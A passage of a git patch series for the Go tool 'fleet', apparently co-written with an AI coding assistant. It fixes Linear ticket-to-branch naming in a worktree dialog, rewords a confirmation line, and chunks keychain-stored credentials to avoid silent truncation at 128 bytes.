leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index 332af549..e25fab78 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -171,13 +171,21 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { } if m.byID { - // An identifier resolves IN PLACE. The highlight does not jump to a - // row — a picker that moves its own selection is the ambiguity coming - // back through the window. + // An identifier resolves IN PLACE — the field becomes the branch name, + // and the highlight does NOT jump to a row, because a picker that moves + // its own selection is the ambiguity coming back through the window. + // + // Rewriting the field is the whole point, and it used to be missing: + // only d.resolved was set, so typing BRZ-3217 fetched the ticket, + // materialized it, named the session after it — and then created a + // worktree literally called BRZ-3217. pickTicket promises in its own + // comment that "both ways of naming a ticket end up identical"; this is + // the half that made that true. d.tickets = nil if len(m.tickets) > 0 && m.tickets[0].Ok() { t := m.tickets[0] d.resolved = &t + d.applyResolvedBranchName(t) } if d.focus == focusNewBranch { d.setSelection(focusNewBranch, ticketOnInput) @@ -261,6 +269,36 @@ func (d *WorktreeDialog) PrefillTicket(identifier string) tea.Cmd { return d.onFieldChanged(identifier) } +// applyResolvedBranchName rewrites the field to the ticket's branch name, but +// only while the field still holds nothing but that identifier. +// +// That guard is the difference between a helpful rewrite and a destructive one. +// The generation counter already drops a reply that a later keystroke +// invalidated, but it cannot see the case this protects against: you pause on +// BRZ-321 while typing your way to BRZ-3217, the pause earns a round trip, +// BRZ-321 happens to exist, and the reply is perfectly current. Without this +// check the field would become brz-321- under your cursor and the rest of +// what you typed would land on the end of it. +// +// Re-checking the SHAPE rather than comparing to the query string also means an +// identifier the user has already extended by hand — brz-3217-my-variant — is +// left alone, which is the same thing onFieldChanged protects when it keeps the +// resolution across an edited tail. +func (d *WorktreeDialog) applyResolvedBranchName(t linear.Ticket) { + text := strings.TrimSpace(d.newBranchInput.Value()) + id, ok := linear.LooksLikeIdentifier(text, d.linearTeams) + if !ok || !strings.EqualFold(id, t.Identifier) { + return + } + branch := linear.BranchNameFor(t.Identifier, t.Title) + if branch == "" || strings.EqualFold(branch, text) { + return + } + d.newBranchInput.SetValue(branch) + d.newBranchInput.SetCursor(len([]rune(branch))) + d.lastInput = branch // don't re-query the name we just wrote +} + // pickTicket fills the field from a highlighted row and collapses back to the // resolved state, so both ways of naming a ticket end up identical. func (d *WorktreeDialog) pickTicket(t linear.Ticket) { diff --git a/internal/ui/workspace_picker_ticket_test.go b/internal/ui/workspace_picker_ticket_test.go index ba381ce1..2b45f37b 100644 --- a/internal/ui/workspace_picker_ticket_test.go +++ b/internal/ui/workspace_picker_ticket_test.go @@ -341,3 +341,73 @@ func TestWorktreeFooterNamesEnter(t *testing.T) { t.Errorf("footer = %q, want it to name opening a worktree", got) } } + +// TestTypedIdentifierBecomesTheBranchName is the bug this file's whole design +// was already written for and did not do. +// +// Typing BRZ-3217 fetched the ticket, materialized it into the worktree and +// named the session after it — and then created a git worktree literally called +// BRZ-3217, because the by-id reply set d.resolved and never touched the field. +// pickTicket promises in its own comment that "both ways of naming a ticket end +// up identical"; only the arrow-down path kept that promise. +func TestTypedIdentifierBecomesTheBranchName(t *testing.T) { + d := ticketDialog(t) + d.newBranchInput.SetValue("BRZ-3217") + d.onFieldChanged("BRZ-3217") + + d.applyTickets(worktreeTicketsMsg{ + gen: d.ticketGen, byID: true, + tickets: []linear.Ticket{{Identifier: "BRZ-3217", Title: "Fix the ingest guide"}}, + }) + + want := linear.BranchNameFor("BRZ-3217", "Fix the ingest guide") + if got := d.newBranchInput.Value(); got != want { + t.Errorf("field should hold the branch name, not the bare identifier:\n got %q\nwant %q", got, want) + } + // The two paths must agree, which is the invariant that was broken. + picked := ticketDialog(t) + picked.pickTicket(linear.Ticket{Identifier: "BRZ-3217", Title: "Fix the ingest guide"}) + if picked.newBranchInput.Value() != d.newBranchInput.Value() { + t.Errorf("typing and picking must produce the same branch: %q vs %q", + d.newBranchInput.Value(), picked.newBranchInput.Value()) + } + // The cursor has to follow, or the next keystroke lands mid-word. + if d.newBranchInput.Position() != len([]rune(want)) { + t.Errorf("cursor should sit at the end of the rewritten name, got %d want %d", + d.newBranchInput.Position(), len([]rune(want))) + } +} + +// TestResolvedRewriteOnlyTouchesABareIdentifier guards the destructive half. +// +// The generation counter drops a reply a later keystroke invalidated, but it +// cannot see this: you pause on BRZ-321 on the way to BRZ-3217, the pause earns +// a round trip, BRZ-321 exists, and the reply is perfectly current by the time +// it lands. Rewriting then would put brz-321- under the cursor and the +// rest of what you typed would land on the end of it. +// +// The same check protects a name the user has already extended by hand. +func TestResolvedRewriteOnlyTouchesABareIdentifier(t *testing.T) { + cases := []struct { + name string + field string + }{ + {"user typed past the resolved id", "BRZ-32170"}, + {"user already extended the name", "brz-3217-my-own-variant"}, + {"user typed a plain branch", "just-a-branch"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + d := ticketDialog(t) + d.newBranchInput.SetValue(c.field) + d.onFieldChanged(c.field) + d.applyTickets(worktreeTicketsMsg{ + gen: d.ticketGen, byID: true, + tickets: []linear.Ticket{{Identifier: "BRZ-3217", Title: "Fix the ingest guide"}}, + }) + if got := d.newBranchInput.Value(); got != c.field { + t.Errorf("the field must not be rewritten under the user: got %q, want it left as %q", got, c.field) + } + }) + } +} From 1c386ef72581a168f9c24d5487414bd43910233a Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 14:50:07 +0300 Subject: [PATCH 21/23] fix(linear): say the branch was named from the ticket, not just that one matched MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The matched-ticket line renders in the same place the selectable ticket rows do, so as a bare "BRZ-3217 · title" it read as a row you might still have to arrow onto — when the naming had already happened and arrowing there does nothing. Reported as "surprising and not understandable". It is also the only thing on screen that can explain why the text in the field rewrote itself 250ms after you stopped typing, and it was not explaining it. Now "✓ named from BRZ-3217 · ". The wording is true in both states d.resolved can be in, including a tail the user typed themselves, because onFieldChanged drops the resolution the moment the text stops leading with the identifier — so the branch really is named from that ticket however the name got there. Considered and rejected: making the user arrow down to select the match. It sounds safer, but ⏎ straight from the input would then create a worktree literally called BRZ-3217 again, which is the bug just reported — turned from an accident into a choice. ✓ is U+2713 and East-Asian-Neutral, so it is always one column. Checked, not assumed; the obvious neighbours • and → are Ambiguous width. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/workspace_picker_ticket.go | 23 ++++++++++-- internal/ui/workspace_picker_ticket_test.go | 39 +++++++++++++++++++++ 3 files changed, 60 insertions(+), 4 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 2ccd9e0c..96738b83 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -159,7 +159,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - **Nothing polls.** Ticket work is event-driven and one-shot: at worktree creation, and at session creation when the branch names an issue and `.fleet/ticket/<ID>/` is absent — the directory is the ledger, so it survives restarts and deleting it is the natural "refresh". `TestTicketWorkStaysOffTheWorkers` keeps it out of `refreshAllGitAndPR`, whose `workerStallThreshold` (90s) is already sized against ~70s of git + `gh` per repo. This is only affordable because there is no badge, hence no live state to keep fresh. - The one mutation resolves the team's started state by **type**, against a position-sorted list (`TestStartedStateResolvesByTypeAndPosition`), so it works on a team whose started state is called "In Dev" or "Doing". Position matters as much as type: a real team has several started states (In Progress at position 2, In Review at 1002) and the lowest is what a human means by "I'm starting this" — any other choice would move a fresh ticket straight to review. Fires **only on create-from-ticket** (config `linear_ticket_start`, default true), never when a later session opens in an existing worktree — by then a human may have moved the issue on, and dragging it backwards is the worst thing this could do. `meta.json` records `state_write` so it stays exactly-once. - The seeded prompt is a **short pointer that tells the agent not to start** (`TestSeedPromptTellsAgentNotToStart`), stated at the top and bottom because a first message describing a task reads as an instruction to perform it. Line 1 leads with the identifier before the title because it is three surfaces at once: the agent's instruction, the preview pane's prompt strip, and the input to `naming.GenerateTitle`, which cuts at ~50 runes. It rides `sessionCreateMsg.prompt` -> `Session.InitialPrompt`. -- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching a team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. *In place* means the field **becomes the branch name** (`applyResolvedBranchName` → `BranchNameFor`) while the highlight stays put; it does **not** mean "only record the ticket". That half was missing at first, so typing `BRZ-3217` fetched the ticket, materialized it and named the session after it — and then created a git worktree literally called `BRZ-3217`, breaking the invariant `pickTicket`'s own comment states, that both ways of naming a ticket end up identical. The rewrite is gated on the field still holding **nothing but that identifier**: the generation counter drops a reply a later keystroke invalidated, but it cannot see a *current* reply for a shorter identifier you paused on en route (`BRZ-321` while typing `BRZ-3217`), which would otherwise drop `brz-321-<slug>` under the cursor and let the rest of the typing land on the end of it. The same check leaves a tail you edited by hand alone. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. +- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching a team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. *In place* means the field **becomes the branch name** (`applyResolvedBranchName` → `BranchNameFor`) while the highlight stays put; it does **not** mean "only record the ticket". That half was missing at first, so typing `BRZ-3217` fetched the ticket, materialized it and named the session after it — and then created a git worktree literally called `BRZ-3217`, breaking the invariant `pickTicket`'s own comment states, that both ways of naming a ticket end up identical. The rewrite is gated on the field still holding **nothing but that identifier**: the generation counter drops a reply a later keystroke invalidated, but it cannot see a *current* reply for a shorter identifier you paused on en route (`BRZ-321` while typing `BRZ-3217`), which would otherwise drop `brz-321-<slug>` under the cursor and let the rest of the typing land on the end of it. The same check leaves a tail you edited by hand alone. The confirmation line reads **`✓ named from BRZ-3217 · <title>`**, not a bare identifier: it renders in the same place the selectable ticket rows do, so on its own it read as a row you might still need to arrow onto when the naming had already happened — and it is the only thing on screen that explains why the field rewrote itself a moment earlier. The wording holds in both states `d.resolved` can be in, including a tail you typed yourself, because `onFieldChanged` drops the resolution the moment the text stops leading with the identifier. `✓` is U+2713, East-Asian-Neutral, so it is always one column — the same width check the priority gauge had to pass. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `<team>-<number>` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index e25fab78..a17c116e 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -345,9 +345,26 @@ func (d *WorktreeDialog) renderTicketBlock(innerW int) string { b.WriteString(DimStyle.Render(" ⋯ searching Linear…")) b.WriteString("\n") case d.resolved != nil: - line := " " + d.resolved.Identifier - b.WriteString(PROpenStyle.Render(line)) - b.WriteString(DimStyle.Render(" · " + ansi.Truncate(d.resolved.Title, maxInt(innerW-len(line)-3, 8), "…"))) + // "named from", not a bare identifier. This line sits exactly where the + // selectable ticket rows sit, so on its own it read as a row you might + // still need to arrow onto — while in fact the work was already done and + // arrowing there would achieve nothing. The ✓ and the verb say it + // happened, which is also the only thing on screen that explains why the + // text in the field changed by itself a moment ago. + // + // True in every state this branch can be in, including the one where the + // user typed the tail themselves: d.resolved survives only while the + // field still leads with the identifier, so the branch really is named + // from that ticket however the name got there. + // + // ✓ is U+2713, East-Asian-Neutral, so it is always one column — the same + // check the priority gauge glyphs had to pass. + const label = " ✓ named from " + head := label + d.resolved.Identifier + b.WriteString(PROpenStyle.Render(" ✓")) + b.WriteString(DimStyle.Render(" named from ")) + b.WriteString(PROpenStyle.Render(d.resolved.Identifier)) + b.WriteString(DimStyle.Render(" · " + ansi.Truncate(d.resolved.Title, maxInt(innerW-ansi.StringWidth(head)-3, 8), "…"))) b.WriteString("\n") case d.ticketNote != "": b.WriteString(DimStyle.Render(" " + ansi.Truncate(d.ticketNote, maxInt(innerW-2, 8), "…"))) diff --git a/internal/ui/workspace_picker_ticket_test.go b/internal/ui/workspace_picker_ticket_test.go index 2b45f37b..c7e06a44 100644 --- a/internal/ui/workspace_picker_ticket_test.go +++ b/internal/ui/workspace_picker_ticket_test.go @@ -1,6 +1,7 @@ package ui import ( + "github.com/charmbracelet/x/ansi" "go/ast" "go/parser" "go/token" @@ -411,3 +412,41 @@ func TestResolvedRewriteOnlyTouchesABareIdentifier(t *testing.T) { }) } } + +// TestResolvedLineReadsAsAppliedNotOffered pins the wording that keeps the +// confirmation line from impersonating a suggestion. +// +// It renders in the same place the selectable ticket rows do, so as a bare +// "BRZ-3217 · title" it read as a row you might still have to arrow onto — when +// in fact the naming had already happened and arrowing there does nothing. It +// is also the only thing on screen that explains why the text in the field +// changed by itself a moment earlier. +func TestResolvedLineReadsAsAppliedNotOffered(t *testing.T) { + for _, c := range []struct{ name, field string }{ + {"auto-rewritten from a bare id", "BRZ-3217"}, + {"user typed the tail themselves", "brz-3217-my-own-variant"}, + } { + t.Run(c.name, func(t *testing.T) { + d := ticketDialog(t) + d.SetSize(90, 44) + d.newBranchInput.SetValue(c.field) + d.onFieldChanged(c.field) + d.applyTickets(worktreeTicketsMsg{ + gen: d.ticketGen, byID: true, + tickets: []linear.Ticket{{Identifier: "BRZ-3217", Title: "Fix with external AI agent"}}, + }) + + got := ansi.Strip(d.View()) + if !strings.Contains(got, "✓ named from BRZ-3217") { + t.Errorf("the resolved line must say the naming already happened:\n%s", got) + } + // Nothing may offer an arrow-down that would achieve nothing. + if d.visibleTicketCount() != 0 { + t.Errorf("a resolved identifier must leave no selectable rows, got %d", d.visibleTicketCount()) + } + if strings.Contains(got, "↓ tickets") { + t.Errorf("the footer must not invite ↓ when there is nothing to pick:\n%s", got) + } + }) + } +} From 33241d7df38bfc50dee8d4132bf444feaf7c440a Mon Sep 17 00:00:00 2001 From: Yuval Hayke <yuval@brizz.ai> Date: Wed, 19 Aug 2026 15:03:21 +0300 Subject: [PATCH 22/23] fix(linear): stop the keychain silently truncating the credential at 128 bytes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Every quit-and-relaunch asked for Linear to be reconnected. `security add-generic-password -w` reads its value through readpassphrase(3), whose buffer is _PASSWORD_LEN = 128 bytes. Past that it does not fail, warn, or return non-zero: it stores the first 128 bytes and exits 0. The record then reads back as a JSON prefix that cannot parse, loadStored reports "no credential", and you reconnect on every launch with nothing anywhere saying why. Measured, not inferred: writes at 128 bytes round-trip intact, 129 and above come back as exactly 128. The keychain item on this machine held 128 bytes beginning with `{` and failing to parse with "unexpected end of JSON input". The split is what let it ship. An API-key record is ~85 bytes and fits, so the paste path worked perfectly — while every OAuth login (access token + refresh token + expiry + workspace) was destroyed on every single write. The existing PTY round-trip test used a short value, so it passed either way. The record is now chunked at 96 bytes across fleet-linear, fleet-linear.1, … Chunk 0 carries a "<total>:" header so a torn write reads as ABSENT rather than as a short credential — handing the caller half a token is a confusing failure somewhere further away. Old chunks are deleted before a write, so shrinking a record leaves no tail for the reader to reassemble. One trap found while building it, and now commented at the line: the writer must never build its stdin with append(data, '\n'). data is a slice INTO the record, so that writes into its spare capacity — the first byte of the next chunk — and it corrupted every multi-chunk write while each individual call still reported success. The single-item version had the same expression and got away with it because nothing else read that capacity. Both regression tests verified to fail with their fix removed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/linear/store.go | 162 ++++++++++++++++++++++++++---- internal/linear/store_pty_test.go | 67 ++++++++++++ 3 files changed, 212 insertions(+), 19 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 96738b83..7255ae7f 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -145,7 +145,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - **The core move is fetching one step earlier than you'd expect.** If fleet materializes the ticket at worktree-creation time, the agent never needs to know Linear exists — which is why fleet ships no Linear skill and no sidebar badge. It hands over content, not instructions. - **There is no `linear` CLI anywhere in this package, and that is load-bearing** (`TestNoLinearSubprocess`, an *allowlist* of the three OS helpers — two keychains and a browser opener — so a new subprocess has to be added deliberately). An earlier version shelled out to `schpet/linear-cli` and ate three version-skew bugs in one session: a Homebrew build compiled without `--allow-net=uploads.linear.app` that failed every image download and still exited 0; an `auth login` command absent before v2.5.0; and the CLI's own error text naming a `configure` command that never existed. The `gh` precedent did not transfer — `gh` is already installed for most developers, `linear` was a download demanded *for this feature* — and Jira has no comparable CLI, so shell-out was a Linear-only trick rather than an architecture. - Auth resolves in one order, both cheap: **`LINEAR_API_KEY` env → fleet's own store**. Env wins so a stale stored credential can always be overridden without any UI, and so CI (no keychain) works at all. Two credential kinds, differing in exactly one place — `authHeader()`: a personal API key is sent **raw**, an OAuth access token takes `Bearer`. Sending either in the other form reads as a rejected credential (`TestAuthHeaderFormDiffersByKind`). -- The store is first-usable, mirroring `clipboardCopyCommandFor`: macOS Keychain (`security`) → `secret-tool` (libsecret) → `~/.config/fleet/linear.json` at 0600. **The secret never touches argv**: `security -w <value>` and `-X <hex>` both work and both publish it to every `ps` on the machine, so `writeSecret` feeds it on **stdin twice** — `security ... -w` implements an interactive "type it again" prompt and does not care that stdin is a pipe. Verified against a live keychain. `sanitizeForIssue` redacts `lin_api_*`/`lin_oauth_*` beside `sk-ant-*` (`TestBuildStatusReportBody_NeverLeaksLinearKey`). +- The store is first-usable, mirroring `clipboardCopyCommandFor`: macOS Keychain (`security`) → `secret-tool` (libsecret) → `~/.config/fleet/linear.json` at 0600. **The secret never touches argv**: `security -w <value>` and `-X <hex>` both work and both publish it to every `ps` on the machine, so `writeSecret` feeds it on **stdin twice** — `security ... -w` implements an interactive "type it again" prompt and does not care that stdin is a pipe. Verified against a live keychain. **That prompt reads through `readpassphrase(3)`, whose buffer is `_PASSWORD_LEN` = 128 bytes, and past it `security` stores the first 128 and still exits 0** — no failure, no warning. The record then reads back as a JSON prefix that cannot parse, `loadStored` reports "no credential", and the user reconnects on every launch with nothing saying why. It split the user base in the worst possible way: an API-key record is ~85 bytes and fits, so the paste path looked perfect while **every OAuth login was destroyed on every write** (access token + refresh token + expiry + workspace). So the record is **chunked** across `fleet-linear`, `fleet-linear.1`, … at 96 bytes each, chunk 0 carrying a `<total>:` header so a torn write reads as *absent* rather than as a short credential, and old chunks are deleted before a write so a shrunk record leaves no tail. The chunk writer must **never** build its stdin with `append(data, '\n')`: `data` is a slice *into* the record, so that writes into its spare capacity — which is the first byte of the next chunk — and it corrupted every multi-chunk write while each call still returned success. `TestKeychainStoresRecordsPastThePasswordBufferLimit` pins 129 (the first byte over the cliff) and the multi-chunk sizes; a round-trip test with a short value passes either way, which is exactly what the original one did. `sanitizeForIssue` redacts `lin_api_*`/`lin_oauth_*` beside `sk-ant-*` (`TestBuildStatusReportBody_NeverLeaksLinearKey`). - **Both auth paths ship, and the user picks** (`Ctrl+K → Connect Linear`). Browser sign-in is the shorter one; pasting a personal API key is the only one that works over SSH, in CI, where an admin has disabled OAuth installs, and where the user wants read-only or team-scoped access rather than whatever the app asks for. OAuth is **PKCE, so no client secret ships** — the client ID is public like `projectAPIKey` (`FLEET_LINEAR_CLIENT_ID` overrides). Redirect ports are **fixed** (53682-53684, first free) because Linear matches `redirect_uri` against the app's registered list and an ephemeral port is simply rejected; all three busy, or no browser, returns `ErrOAuthUnavailable`, which is a **routing** answer, not a failure — the dialog points at the paste path. The `state` check runs **before** the code is touched (`TestOAuthStateMismatchRejected`): the callback is a fixed loopback port, so anything on the machine can reach it during the window. - Access tokens last **24h**. `credential()` renews at a 5-minute margin, serialized by `refreshMu` — without it a ticket with a dozen screenshots starts a dozen downloads that each find the token stale and each spend a refresh, superseding one another. A **refused** refresh disconnects (the grant is gone; every later request would 401 with no explanation anywhere), while an unreachable endpoint does **not** — fleet failing to reach Linear is not evidence against the grant. - **`Available()` and `TeamKeys()` are called from the Update goroutine** and therefore touch no network and no keychain — two atomics and two small file reads. The keychain read happens once, in `warmLinear()` from `Init`. `Resolved()` is separate from `Available()` on purpose: before the warm finishes, "no credential" is ignorance, not a fact, and anything acting on the *absence* of one (the discovery tip) must wait. diff --git a/internal/linear/store.go b/internal/linear/store.go index b9d9e98d..fc9740b8 100644 --- a/internal/linear/store.go +++ b/internal/linear/store.go @@ -9,6 +9,7 @@ import ( "os/exec" "path/filepath" "runtime" + "strconv" "syscall" "time" ) @@ -98,11 +99,7 @@ func readSecret() ([]byte, bool) { return readSecretFrom(keychainService) } func readSecretFrom(service string) ([]byte, bool) { switch { case useKeychain(): - out, err := runQuiet(storeTimeout, nil, "security", "find-generic-password", "-w", "-s", service) - if err != nil { - return nil, false - } - return bytes.TrimSpace(out), true + return readKeychainChunks(service) case useSecretTool(): out, err := runQuiet(storeTimeout, nil, "secret-tool", "lookup", "service", service) if err != nil { @@ -121,6 +118,139 @@ func readSecretFrom(service string) ([]byte, bool) { return bytes.TrimSpace(data), true } +// keychainChunkMax is how many bytes of secret go into one keychain item. +// +// `security add-generic-password -w` reads the value with readpassphrase(3), +// whose buffer is _PASSWORD_LEN = 128 bytes. Past that it does not fail, warn, +// or return non-zero — it stores the first 128 bytes and exits 0. The record +// then reads back as a JSON prefix that cannot parse, loadStored reports "no +// credential", and the user reconnects on every launch with nothing anywhere +// saying why. +// +// It bit OAuth and not API keys, which is the worst possible split: an API-key +// record is ~85 bytes and fits, so the paste path looked fine while the browser +// path silently lost its credential every single time. +// +// 96 rather than 128 to leave headroom, since the limit is a property of a tool +// we do not control and a value one byte under a silent cliff is not a margin. +const keychainChunkMax = 96 + +// chunkService names the item holding chunk i. Chunk 0 keeps the plain service +// name so an existing single-item record is still found by the same key. +func chunkService(service string, i int) string { + if i == 0 { + return service + } + return fmt.Sprintf("%s.%d", service, i) +} + +// writeKeychainChunks stores data across as many keychain items as it takes. +// +// Chunk 0 carries a "<total>:" header so a torn write is DETECTED rather than +// silently short — which is the entire failure this function exists to end. A +// short read must report "no credential", never a truncated one. +// +// Old chunks are removed first, so a shorter record cannot leave a stale tail +// behind for the reader to pick up. +func writeKeychainChunks(service string, data []byte) error { + clearKeychainChunks(service) + + body := append([]byte(fmt.Sprintf("%d:", len(data))), data...) + for i := 0; len(body) > 0; i++ { + n := keychainChunkMax + if n > len(body) { + n = len(body) + } + if err := writeOneKeychainItem(chunkService(service, i), body[:n]); err != nil { + return err + } + body = body[n:] + } + return nil +} + +// writeOneKeychainItem writes a single item, never putting the value in argv. +// +// `security ... -w` with no value reads from stdin — twice, because it is +// implementing an interactive "type it again" prompt and does not care that +// stdin is a pipe. Setsid is what stops it opening /dev/tty instead. +func writeOneKeychainItem(service string, data []byte) error { + // Built into a fresh buffer, never with append(data, …). data is a SLICE OF + // THE RECORD here, so appending to it writes into its spare capacity — which + // is the first byte of the next chunk. That corrupted every multi-chunk + // write while each individual call still returned success. + twice := make([]byte, 0, 2*len(data)+2) + twice = append(twice, data...) + twice = append(twice, '\n') + twice = append(twice, data...) + twice = append(twice, '\n') + if _, err := runQuiet(storeTimeout, twice, "security", "add-generic-password", + "-U", "-s", service, "-a", keychainAccount, "-w"); err != nil { + return fmt.Errorf("keychain write failed: %w", err) + } + return nil +} + +// readKeychainChunks reassembles a chunked record, verifying the length header. +// +// A record whose parts do not add up is reported as absent. Reconnecting is a +// mild annoyance; handing the caller half a credential is a confusing failure +// somewhere further away. +func readKeychainChunks(service string) ([]byte, bool) { + var body []byte + for i := 0; ; i++ { + out, err := runQuiet(storeTimeout, nil, "security", "find-generic-password", "-w", "-s", chunkService(service, i)) + if err != nil { + break + } + body = append(body, bytes.TrimSpace(out)...) + if i > maxKeychainChunks { + return nil, false + } + } + if len(body) == 0 { + return nil, false + } + sep := bytes.IndexByte(body, ':') + if sep < 0 { + return nil, false + } + want, err := strconv.Atoi(string(body[:sep])) + if err != nil { + return nil, false + } + got := body[sep+1:] + if len(got) != want { + return nil, false + } + return got, true +} + +// maxKeychainChunks stops a malformed store from looping forever. Far above any +// real credential: 64 chunks is ~6KB. +const maxKeychainChunks = 64 + +// clearKeychainChunks deletes every item of a chunked record. +func clearKeychainChunks(service string) { + for i := 0; i <= maxKeychainChunks; i++ { + _, err := runQuiet(storeTimeout, nil, "security", "delete-generic-password", "-s", chunkService(service, i)) + if err == nil { + continue + } + // A missing item ends the record. Anything else is a real failure, and + // stopping on it is still right: continuing would spend a `security` + // call per remaining slot for a keychain that is not answering. + var exit *exec.ExitError + if !errors.As(err, &exit) || exit.ExitCode() == errSecItemNotFound { + if i > 0 { + return + } + continue + } + return + } +} + // writeSecret stores the record without ever putting it in argv. // // That constraint is the whole reason this function is shaped the way it is: @@ -136,13 +266,7 @@ func writeSecret(data []byte) error { return writeSecretTo(keychainService, data func writeSecretTo(service string, data []byte) error { switch { case useKeychain(): - twice := append(append(append([]byte{}, data...), '\n'), append(data, '\n')...) - _, err := runQuiet(storeTimeout, twice, "security", "add-generic-password", - "-U", "-s", service, "-a", keychainAccount, "-w") - if err != nil { - return fmt.Errorf("keychain write failed: %w", err) - } - return nil + return writeKeychainChunks(service, data) case useSecretTool(): _, err := runQuiet(storeTimeout, data, "secret-tool", "store", "--label=fleet: Linear", "service", keychainService) @@ -166,12 +290,14 @@ func writeSecretTo(service string, data []byte) error { func clearStored() error { switch { case useKeychain(): - _, err := runQuiet(storeTimeout, nil, "security", "delete-generic-password", "-s", keychainService) - var exit *exec.ExitError - if errors.As(err, &exit) && exit.ExitCode() == errSecItemNotFound { - return nil // already gone is the outcome the caller wanted - } - return err + // Every chunk, not just the first — a partial delete would leave a tail + // that the next read reassembles into a length-mismatched record. + // + // No error is returned: clearKeychainChunks already treats a missing + // chunk 0 as "already gone", which is the outcome the caller wanted, and + // there is nothing else a failure here would let them do. + clearKeychainChunks(keychainService) + return nil case useSecretTool(): _, err := runQuiet(storeTimeout, nil, "secret-tool", "clear", "service", keychainService) return err diff --git 